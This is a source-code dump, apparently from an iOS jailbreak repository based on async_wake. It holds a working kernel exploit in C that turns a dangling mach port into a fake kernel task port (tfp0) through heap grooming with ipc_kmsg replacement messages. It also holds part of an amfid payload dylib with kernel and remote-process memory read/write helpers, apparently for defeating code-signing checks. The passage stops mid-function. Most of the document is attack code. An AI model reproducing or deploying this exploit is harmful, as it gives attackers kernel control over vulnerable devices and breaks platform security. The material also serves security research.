251 | 252 | return q; 253 | } 254 | 255 | /* 256 | for the given mach message size, how big will the ipc_kmsg structure be? 257 | 258 | This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out! 259 | 260 | The size is overallocated so that if the message was sent from a 32-bit process 261 | they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which 262 | means that for each descriptor they would need an extra 4 bytes of space for the 263 | larger pointer. Except at this point they have no idea what's in the message 264 | so they assume the worst case for all messages. This leads to approximately a 30% 265 | overhead in the allocation size. 266 | 267 | The allocated size also contains space for the maximum trailer plus the ipc_kmsg header. 268 | 269 | When the message is actually written into this buffer it's aligned to the end 270 | */ 271 | int message_size_for_kalloc_size(int kalloc_size) { 272 | return ((3*kalloc_size)/4) - 0x74; 273 | } 274 | 275 | 276 | /* 277 | build a fake task port object to get an arbitrary read 278 | 279 | I am basing this on the techniques used in Yalu 10.2 released by 280 | @qwertyoruiopz and @marcograss (and documented by Johnathan Levin 281 | in *OS Internals Volume III) 282 | 283 | There are a few difference here. We have a kernel memory disclosure bug so 284 | we know the address the dangling port pointer points to. This means we don't need 285 | to point the task to userspace to get a "what+where" primitive since we can just 286 | put whatever recursive structure we require in the object which will replace 287 | the free'd port. 288 | 289 | We can also leverage the fact that we have a dangling mach port pointer 290 | to also write to a small area of the dangling port (via mach_port_set_context) 291 | 292 | If we build the replacement object (with the fake struct task) 293 | correctly we can set it up such that by calling mach_port_set_context we can control 294 | where the arbitrary read will read from. 295 | 296 | this same method is used again a second time once the arbitrary read works so that the vm_map 297 | and receiver can be set correctly turning this into a fake kernel task port. 298 | */ 299 | 300 | uint32_t IO_BITS_ACTIVE = 0x80000000; 301 | uint32_t IKOT_TASK = 2; 302 | uint32_t IKOT_NONE = 0; 303 | 304 | uint64_t second_port_initial_context = 0x1024204110244201; 305 | 306 | uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr) { 307 | uint8_t* body = malloc(message_body_size); 308 | memset(body, 0, message_body_size); 309 | 310 | uint32_t port_page_offset = dangling_port_address & 0xfff; 311 | 312 | // structure required for the first fake port: 313 | uint8_t* fake_port = body + (port_page_offset - message_body_offset); 314 | 315 | 316 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK; 317 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references 318 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights 319 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver; 320 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef; 321 | 322 | *context_ptr = (uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)); 323 | 324 | 325 | // set the kobject pointer such that task->bsd_info reads from ip_context: 326 | int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO); 327 | 328 | uint64_t fake_task_address = dangling_port_address + fake_task_offset; 329 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address; 330 | 331 | 332 | // when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task 333 | // pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that! 334 | 335 | if (fake_port + fake_task_offset < body) { 336 | printf("the maths is wrong somewhere, fake task doesn't fit in message\n"); 337 | sleep(10); 338 | exit(EXIT_FAILURE); 339 | } 340 | 341 | uint8_t* fake_task = fake_port + fake_task_offset; 342 | 343 | // set the ref_count field of the fake task: 344 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references 345 | 346 | // make sure the task is active 347 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; 348 | 349 | // set the vm_map of the fake task: 350 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; 351 | 352 | // set the task lock type of the fake task's lock: 353 | *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; 354 | return body; 355 | } 356 | 357 | 358 | /* 359 | * the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer 360 | * 361 | * use that tfp0 to build a safer one such that we can safely free everything this process created and exit 362 | * without leaking memory 363 | */ 364 | mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space) { 365 | kern_return_t err; 366 | 367 | mach_port_t tfp0 = MACH_PORT_NULL; 368 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0); 369 | if (err != KERN_SUCCESS) { 370 | printf("unable to allocate port\n"); 371 | } 372 | 373 | // build a fake struct task for the kernel task: 374 | //uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000); 375 | uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000); 376 | printf("fake_kernel_task_kaddr: %llx\n", fake_kernel_task_kaddr); 377 | 378 | 379 | void* fake_kernel_task = malloc(0x1000); 380 | memset(fake_kernel_task, 0, 0x1000); 381 | *(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references 382 | *(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; 383 | *(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; 384 | *(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; 385 | kmemcpy(fake_kernel_task_kaddr, (uint64_t) fake_kernel_task, 0x1000); 386 | free(fake_kernel_task); 387 | 388 | uint32_t fake_task_refs = rk32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)); 389 | printf("read fake_task_refs: %x\n", fake_task_refs); 390 | if (fake_task_refs != 0xd00d) { 391 | printf("read back value didn't match...\n"); 392 | } 393 | 394 | // now make the changes to the port object to make it a task port: 395 | uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND); 396 | 397 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK); 398 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d); 399 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d); 400 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space); 401 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr); 402 | 403 | // swap our receive right for a send right: 404 | uint64_t task_port_addr = task_self_addr(); 405 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 406 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 407 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 408 | 409 | uint32_t port_index = tfp0 >> 8; 410 | const int sizeof_ipc_entry_t = 0x18; 411 | uint32_t bits = rk32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry 412 | 413 | #define IE_BITS_SEND (1<<16) 414 | #define IE_BITS_RECEIVE (1<<17) 415 | 416 | bits &= (~IE_BITS_RECEIVE); 417 | bits |= IE_BITS_SEND; 418 | 419 | wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits); 420 | 421 | printf("about to test new tfp0\n"); 422 | 423 | vm_offset_t data_out = 0; 424 | mach_msg_type_number_t out_size = 0; 425 | err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size); 426 | if (err != KERN_SUCCESS) { 427 | printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err)); 428 | sleep(3); 429 | exit(EXIT_FAILURE); 430 | } 431 | 432 | printf("kernel read via second tfp0 port worked?\n"); 433 | printf("0x%016llx\n", *(uint64_t*)data_out); 434 | printf("0x%016llx\n", *(uint64_t*)(data_out+8)); 435 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x10)); 436 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x18)); 437 | 438 | return tfp0; 439 | } 440 | 441 | 442 | 443 | // task_self_addr points to the struct ipc_port for our task port 444 | uint64_t find_kernel_vm_map(uint64_t task_self_addr) { 445 | uint64_t struct_task = rk64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 446 | 447 | while (struct_task != 0) { 448 | uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 449 | 450 | uint32_t pid = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); 451 | 452 | if (pid == 0) { 453 | uint64_t vm_map = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)); 454 | return vm_map; 455 | } 456 | 457 | struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV)); 458 | } 459 | 460 | printf("unable to find kernel task...\n"); 461 | sleep(10); 462 | exit(EXIT_FAILURE); 463 | } 464 | 465 | const uint64_t context_magic = 0x1214161800000000; // a random constant 466 | const uint64_t initial_context = 0x1020304015253545; // another random constant 467 | 468 | mach_port_t get_kernel_memory_rw() { 469 | // offsets are required before we get r/w: 470 | offsets_init(); 471 | 472 | kern_return_t err; 473 | 474 | uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44; 475 | uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t); 476 | uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE; 477 | 478 | printf("message size for kalloc.4096: %d\n", message_size_for_kalloc_size(4096)); 479 | 480 | // Creates a user client 481 | prepare_user_client(); 482 | 483 | 484 | 485 | uint64_t task_self = task_self_addr(); 486 | if (task_self == 0) { 487 | printf("unable to disclose address of our task port\n"); 488 | sleep(10); 489 | exit(EXIT_FAILURE); 490 | } 491 | printf("our task port is at 0x%llx\n", task_self); 492 | 493 | int n_pre_ports = 100000; //8000 494 | mach_port_t* pre_ports = prepare_ports(n_pre_ports); 495 | 496 | // make a bunch of smaller allocations in a different zone which can be collected later: 497 | uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t); 498 | 499 | uint8_t* smaller_body = malloc(smaller_body_size); 500 | memset(smaller_body, 'C', smaller_body_size); 501 | 502 | const int n_smaller_ports = 600; // 150 MB 503 | mach_port_t smaller_ports[n_smaller_ports]; 504 | for (int i = 0; i < n_smaller_ports; i++) { 505 | smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size); 506 | } 507 | 508 | // now find a suitable port 509 | // we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't 510 | // completely control all the data: 511 | // specifically we're targetting kalloc.4096 but the message body will only span 512 | // xxx448 -> xxxfbc so we want to make sure the port we target is within that range 513 | // actually, since we're also putting a fake task struct here and want 514 | // the task's bsd_info pointer to overlap with the ip_context field we need a stricter range 515 | 516 | 517 | int ports_to_test = 100; 518 | int base = n_pre_ports - 1000; 519 | 520 | mach_port_t first_port = MACH_PORT_NULL; 521 | uint64_t first_port_address = 0; 522 | 523 | for (int i = 0; i < ports_to_test; i++) { 524 | mach_port_t candidate_port = pre_ports[base+i]; 525 | uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND); 526 | uint64_t page_offset = candidate_address & 0xfff; 527 | if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need 528 | printf("found target port with suitable allocation page offset: 0x%016llx\n", candidate_address); 529 | pre_ports[base+i] = MACH_PORT_NULL; 530 | first_port = candidate_port; 531 | first_port_address = candidate_address; 532 | break; 533 | } 534 | } 535 | 536 | if (first_port == MACH_PORT_NULL) { 537 | printf("unable to find a candidate port with a suitable page offset\n"); 538 | exit(EXIT_FAILURE); 539 | } 540 | 541 | 542 | uint64_t* context_ptr = NULL; 543 | uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr); 544 | printf("replacer_body_size: 0x%x\n", replacer_body_size); 545 | printf("message_body_offset: 0x%x\n", message_body_offset); 546 | 547 | make_dangling(first_port); 548 | 549 | free_ports(pre_ports, n_pre_ports); 550 | 551 | // free the smaller ports, they will get gc'd later: 552 | for (int i = 0; i < n_smaller_ports; i++) { 553 | mach_port_destroy(mach_task_self(), smaller_ports[i]); 554 | } 555 | 556 | 557 | // now try to get that zone collected and reallocated as something controllable (kalloc.4096): 558 | 559 | const int replacer_ports_limit = 200; // about 200 MB 560 | mach_port_t replacer_ports[replacer_ports_limit]; 561 | memset(replacer_ports, 0, sizeof(replacer_ports)); 562 | uint32_t i; 563 | for (i = 0; i < replacer_ports_limit; i++) { 564 | uint64_t context_val = (context_magic)|i; 565 | *context_ptr = context_val; 566 | replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size); 567 | 568 | // we want the GC to actually finish, so go slow... 569 | pthread_yield_np(); 570 | usleep(10000); 571 | printf("%d\n", i); 572 | } 573 | 574 | 575 | // find out which replacer port it was 576 | mach_port_context_t replacer_port_number = 0; 577 | err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number); 578 | if (err != KERN_SUCCESS) { 579 | printf("unable to get context: %d %s\n", err, mach_error_string(err)); 580 | sleep(3); 581 | exit(EXIT_FAILURE); 582 | } 583 | replacer_port_number &= 0xffffffff; 584 | if (replacer_port_number >= (uint64_t)replacer_ports_limit) { 585 | printf("suspicious context value, something's wrong %lx\n", replacer_port_number); 586 | sleep(3); 587 | exit(EXIT_FAILURE); 588 | } 589 | 590 | printf("got replaced with replacer port %ld\n", replacer_port_number); 591 | 592 | prepare_rk_via_kmem_read_port(first_port); 593 | 594 | uint64_t kernel_vm_map = find_kernel_vm_map(task_self); 595 | printf("found kernel vm_map: 0x%llx\n", kernel_vm_map); 596 | 597 | 598 | // now free first replacer and put a fake kernel task port there 599 | // we need to do this becase the first time around we don't know the address 600 | // of ipc_space_kernel which means we can't fake a port owned by the kernel 601 | free(replacer_message_body); 602 | replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr); 603 | 604 | // free the first replacer 605 | mach_port_t replacer_port = replacer_ports[replacer_port_number]; 606 | replacer_ports[replacer_port_number] = MACH_PORT_NULL; 607 | mach_port_destroy(mach_task_self(), replacer_port); 608 | 609 | const int n_second_replacer_ports = 10; 610 | mach_port_t second_replacer_ports[n_second_replacer_ports]; 611 | 612 | for (int i = 0; i < n_second_replacer_ports; i++) { 613 | *context_ptr = i; 614 | second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size); 615 | } 616 | 617 | // hopefully that worked the second time too! 618 | // check the context: 619 | 620 | replacer_port_number = 0; 621 | err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number); 622 | if (err != KERN_SUCCESS) { 623 | printf("unable to get context: %d %s\n", err, mach_error_string(err)); 624 | sleep(3); 625 | exit(EXIT_FAILURE); 626 | } 627 | 628 | replacer_port_number &= 0xffffffff; 629 | if (replacer_port_number >= (uint64_t)n_second_replacer_ports) { 630 | printf("suspicious context value, something's wrong %lx\n", replacer_port_number); 631 | sleep(3); 632 | exit(EXIT_FAILURE); 633 | } 634 | 635 | printf("second time got replaced with replacer port %ld\n", replacer_port_number); 636 | 637 | // clear up the original replacer ports: 638 | for (int i = 0; i < replacer_ports_limit; i++) { 639 | mach_port_destroy(mach_task_self(), replacer_ports[i]); 640 | } 641 | 642 | // then clear up the second replacer ports (apart from the one in use) 643 | mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number]; 644 | second_replacer_ports[replacer_port_number] = MACH_PORT_NULL; 645 | for (int i = 0; i < n_second_replacer_ports; i++) { 646 | mach_port_destroy(mach_task_self(), second_replacer_ports[i]); 647 | } 648 | 649 | printf("will try to read from second port (fake kernel)\n"); 650 | // try to read some kernel memory using the second port: 651 | vm_offset_t data_out = 0; 652 | mach_msg_type_number_t out_size = 0; 653 | err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size); 654 | if (err != KERN_SUCCESS) { 655 | printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err)); 656 | sleep(3); 657 | exit(EXIT_FAILURE); 658 | } 659 | 660 | printf("kernel read via fake kernel task port worked?\n"); 661 | printf("0x%016llx\n", *(uint64_t*)data_out); 662 | printf("0x%016llx\n", *(uint64_t*)(data_out+8)); 663 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x10)); 664 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x18)); 665 | 666 | prepare_rwk_via_tfp0(first_port); 667 | printf("about to build safer tfp0\n"); 668 | 669 | //early_kalloc(0x10000); 670 | //return 0; 671 | 672 | mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel()); 673 | prepare_rwk_via_tfp0(safer_tfp0); 674 | 675 | printf("built safer tfp0\n"); 676 | printf("about to clear up\n"); 677 | 678 | // can now clean everything up 679 | wk32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE); 680 | wk64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0); 681 | 682 | // first port will soon point to freed memory, so neuter it: 683 | uint64_t task_port_addr = task_self_addr(); 684 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 685 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 686 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 687 | 688 | 689 | // mach_ports_register(mach_task_self(), &user_client, 1); 690 | // uint64_t IOSurfaceRootUserClient_port = rk64(task_addr + 0x2e8 + 0x8); 691 | // uint64_t IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 692 | // uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); 693 | // 694 | // printf("IOSurfaceRootUserClient_vtab: %016llx\n", IOSurfaceRootUserClient_vtab); 695 | // printf("IOSurfaceRootUserClient_vtab[0]: %016llx\n", rk64(IOSurfaceRootUserClient_vtab)); 696 | // printf("starting assembly of IOSurfaceRootUserClient_vtab[0]: %016llx\n", rk64(rk64(IOSurfaceRootUserClient_vtab))); 697 | // 698 | //// Use IDA to find the first occurance of the sequence of bytes from "starting assembly..." (on 6+ it is a9bf7bfd14000fe3 for IDA) 699 | //// If you don't have IDA, use a hex editor to find the offset of "e30f0014fd7bbfa9", then use `joker -a kernel`, and use the address returned as the value (again, not sure if asm is the same) 700 | //#define FIRST_VTAB_LOCATION 0xfffffff0065e19e4 701 | // 702 | // uint64_t slide = rk64(IOSurfaceRootUserClient_vtab)-FIRST_VTAB_LOCATION; 703 | // printf("slide is maybe %016llx\n", slide); 704 | // printf("ooh? %08x\n", rk32(slide + 0xFFFFFFF007004000)); 705 | // 706 | // printf("ooh? %s\n", (char*)rk64(slide + 0xFFFFFFF00758C000)); 707 | 708 | 709 | uint32_t port_index = first_port >> 8; 710 | const int sizeof_ipc_entry_t = 0x18; 711 | 712 | // remove all rights 713 | wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0); 714 | 715 | // clear the ipc_port port too 716 | wk64(is_table + (port_index * sizeof_ipc_entry_t), 0); 717 | 718 | mach_port_destroy(mach_task_self(), second_replacement_port); 719 | printf("cleared up\n"); 720 | return safer_tfp0; 721 | } 722 | 723 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 724 | 725 | mach_port_t get_tfp0(mach_port_t*uc) { 726 | mach_port_t tfp0 = get_kernel_memory_rw(); 727 | printf("tfp0: %x\n", tfp0); 728 | 729 | *uc = user_client; 730 | 731 | if (probably_have_correct_symbols()) { 732 | printf("have symbols for this device, testing the kernel debugger...\n"); 733 | test_kdbg(); 734 | } 735 | return tfp0; 736 | } 737 | -------------------------------------------------------------------------------- /async_wake_ios/async_wake.h: -------------------------------------------------------------------------------- 1 | #ifndef async_wake_h 2 | #define async_wake_h 3 | 4 | #include 5 | 6 | mach_port_t get_tfp0(mach_port_t*uc); 7 | 8 | #endif /* async_wake_h */ 9 | -------------------------------------------------------------------------------- /async_wake_ios/binaries/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ninjaprawn/async_wake-fun/6ffb822e153fd98fc6f9d09604317f316c3b0577/async_wake_ios/binaries/.DS_Store -------------------------------------------------------------------------------- /async_wake_ios/binaries/amfid_payload.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ninjaprawn/async_wake-fun/6ffb822e153fd98fc6f9d09604317f316c3b0577/async_wake_ios/binaries/amfid_payload.dylib -------------------------------------------------------------------------------- /async_wake_ios/binaries/amfid_payload.m: -------------------------------------------------------------------------------- 1 | // xcrun -sdk iphoneos gcc -dynamiclib -arch arm64 -framework Foundation -o amfid_payload.dylib amfid_payload.m 2 | // jtool --sign --inplace amfid_payload.dylib 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #import 22 | #include 23 | 24 | kern_return_t mach_vm_allocate 25 | ( 26 | vm_map_t target, 27 | mach_vm_address_t *address, 28 | mach_vm_size_t size, 29 | int flags 30 | ); 31 | 32 | kern_return_t mach_vm_write 33 | ( 34 | vm_map_t target_task, 35 | mach_vm_address_t address, 36 | vm_offset_t data, 37 | mach_msg_type_number_t dataCnt 38 | ); 39 | 40 | extern kern_return_t mach_vm_deallocate 41 | ( 42 | vm_map_t target, 43 | mach_vm_address_t address, 44 | mach_vm_size_t size 45 | ); 46 | 47 | 48 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 49 | kern_return_t mach_vm_region(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name); 50 | 51 | 52 | mach_port_t tfpzero = 0; 53 | 54 | uint64_t kalloc(vm_size_t size) { 55 | mach_vm_address_t address = 0; 56 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 57 | return address; 58 | } 59 | 60 | 61 | 62 | size_t kread(uint64_t where, void *p, size_t size) { 63 | int rv; 64 | size_t offset = 0; 65 | while (offset < size) { 66 | mach_vm_size_t sz, chunk = 2048; 67 | if (chunk > size - offset) { 68 | chunk = size - offset; 69 | } 70 | rv = mach_vm_read_overwrite(mach_task_self(), where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 71 | if (rv || sz == 0) { 72 | printf("[fun_utils] error on kread(0x%016llx)\n", (offset + where)); 73 | break; 74 | } 75 | offset += sz; 76 | } 77 | return offset; 78 | } 79 | 80 | uint32_t kread32(uint64_t where) { 81 | uint32_t out; 82 | kread(where, &out, sizeof(uint32_t)); 83 | return out; 84 | } 85 | 86 | uint64_t kread64(uint64_t where) { 87 | uint64_t out; 88 | kread(where, &out, sizeof(uint64_t)); 89 | return out; 90 | } 91 | 92 | size_t kwrite(uint64_t where, const void *p, size_t size) { 93 | int rv; 94 | size_t offset = 0; 95 | while (offset < size) { 96 | size_t chunk = 2048; 97 | if (chunk > size - offset) { 98 | chunk = size - offset; 99 | } 100 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); 101 | if (rv) { 102 | printf("[fun_utils] error on kwrite(0x%016llx)\n", (offset + where)); 103 | break; 104 | } 105 | offset += chunk; 106 | } 107 | return offset; 108 | } 109 | 110 | void kwrite32(uint64_t where, uint32_t what) { 111 | uint32_t _what = what; 112 | kwrite(where, &_what, sizeof(uint32_t)); 113 | } 114 | 115 | 116 | void kwrite64(uint64_t where, uint64_t what) { 117 | uint64_t _what = what; 118 | kwrite(where, &_what, sizeof(uint64_t)); 119 | } 120 | 121 | uint64_t 122 | remote_alloc(mach_port_t task_port, 123 | uint64_t size) 124 | { 125 | kern_return_t err; 126 | 127 | mach_vm_offset_t remote_addr = 0; 128 | mach_vm_size_t remote_size = (mach_vm_size_t)size; 129 | err = mach_vm_allocate(task_port, &remote_addr, remote_size, 1); // ANYWHERE 130 | if (err != KERN_SUCCESS){ 131 | NSLog(@"unable to allocate buffer in remote process\n"); 132 | return 0; 133 | } 134 | return (uint64_t)remote_addr; 135 | } 136 | 137 | void 138 | remote_free(mach_port_t task_port, 139 | uint64_t base, 140 | uint64_t size) 141 | { 142 | kern_return_t err; 143 | 144 | err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size); 145 | if (err != KERN_SUCCESS){ 146 | NSLog(@"unabble to deallocate remote buffer\n"); 147 | return; 148 | } 149 | return; 150 | } 151 | 152 | uint64_t 153 | alloc_and_fill_remote_buffer(mach_port_t task_port, 154 | uint64_t local_address, 155 | uint64_t length) 156 | { 157 | kern_return_t err; 158 | 159 | uint64_t remote_address = remote_alloc(task_port, length); 160 | 161 | err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length); 162 | if (err != KERN_SUCCESS){ 163 | NSLog(@"unable to write to remote memory\n"); 164 | return 0; 165 | } 166 | 167 | return remote_address; 168 | } 169 | 170 | void 171 | remote_read_overwrite(mach_port_t task_port, 172 | uint64_t remote_address, 173 | uint64_t local_address, 174 | uint64_t length) 175 | { 176 | kern_return_t err; 177 | 178 | mach_vm_size_t outsize = 0; 179 | err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize); 180 | if (err != KERN_SUCCESS){ 181 | NSLog(@"remote read failed\n"); 182 | return; 183 | } 184 | 185 | if (outsize != length){ 186 | NSLog(@"remote read was short (expected %llx, got %llx\n", length, outsize); 187 | return; 188 | } 189 | } 190 | 191 | void 192 | remote_write(mach_port_t remote_task_port, 193 | uint64_t remote_address, 194 | uint64_t local_address, 195 | uint64_t length) 196 | { 197 | kern_return_t err = mach_vm_write(remote_task_port, 198 | (mach_vm_address_t)remote_address, 199 | (vm_offset_t)local_address, 200 | (mach_msg_type_number_t)length); 201 | if (err != KERN_SUCCESS) { 202 | NSLog(@"remote write failed: %s %x\n", mach_error_string(err), err); 203 | return; 204 | } 205 | } 206 | 207 | uint64_t binary_load_address() { 208 | kern_return_t err; 209 | mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64; 210 | memory_object_name_t object_name = MACH_PORT_NULL; /* unused */ 211 | mach_vm_size_t target_first_size = 0x1000; 212 | mach_vm_address_t target_first_addr = 0x0; 213 | struct vm_region_basic_info_64 region = {0}; 214 | err = mach_vm_region(mach_task_self(), &target_first_addr, &target_first_size, VM_REGION_BASIC_INFO_64, (vm_region_info_t)®ion, ®ion_count, &object_name); 215 | 216 | if (err != KERN_SUCCESS) { 217 | printf("failed to get the region\n"); 218 | return -1; 219 | } 220 | 221 | return target_first_addr; 222 | } 223 | 224 | 225 | uint32_t swap_uint32(uint32_t val) { 226 | val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF ); 227 | return (val << 16) | (val >> 16); 228 | } 229 | 230 | uint8_t *get_sha256(uint8_t* code_dir) { 231 | uint8_t *out = malloc(CC_SHA256_DIGEST_LENGTH); 232 | 233 | uint32_t* code_dir_int = (uint32_t*)code_dir; 234 | 235 | int cd_off = 0; 236 | while (code_dir_int[cd_off] != 0) { 237 | cd_off += 1; 238 | } 239 | cd_off += 1; 240 | int actual_off = swap_uint32(code_dir_int[cd_off]); 241 | 242 | code_dir_int = (uint32_t*)(code_dir+actual_off); 243 | uint32_t realsize = swap_uint32(code_dir_int[1]); 244 | 245 | // uint32_t realsize = 0; 246 | // for (int j = 0; j < 1000; j++) { 247 | // if (swap_uint32(code_dir_int[j]) == 0xfade0c02) { 248 | // realsize = swap_uint32(code_dir_int[j+1]); 249 | // code_dir += 4*j; 250 | // } 251 | // } 252 | 253 | CC_SHA256(code_dir_int, realsize, out); 254 | 255 | return out; 256 | } 257 | 258 | uint8_t *get_code_directory(const char* name, uint64_t file_off) { 259 | // Assuming it is a macho 260 | 261 | FILE* fd = fopen(name, "r"); 262 | 263 | if (fd == NULL) { 264 | NSLog(@"Couldn't open file"); 265 | return NULL; 266 | } 267 | 268 | uint64_t off = file_off; 269 | fseek(fd, off, SEEK_SET); 270 | 271 | struct mach_header_64 mh; 272 | fread(&mh, sizeof(struct mach_header_64), 1, fd); 273 | 274 | off += sizeof(struct mach_header_64); 275 | for (int i = 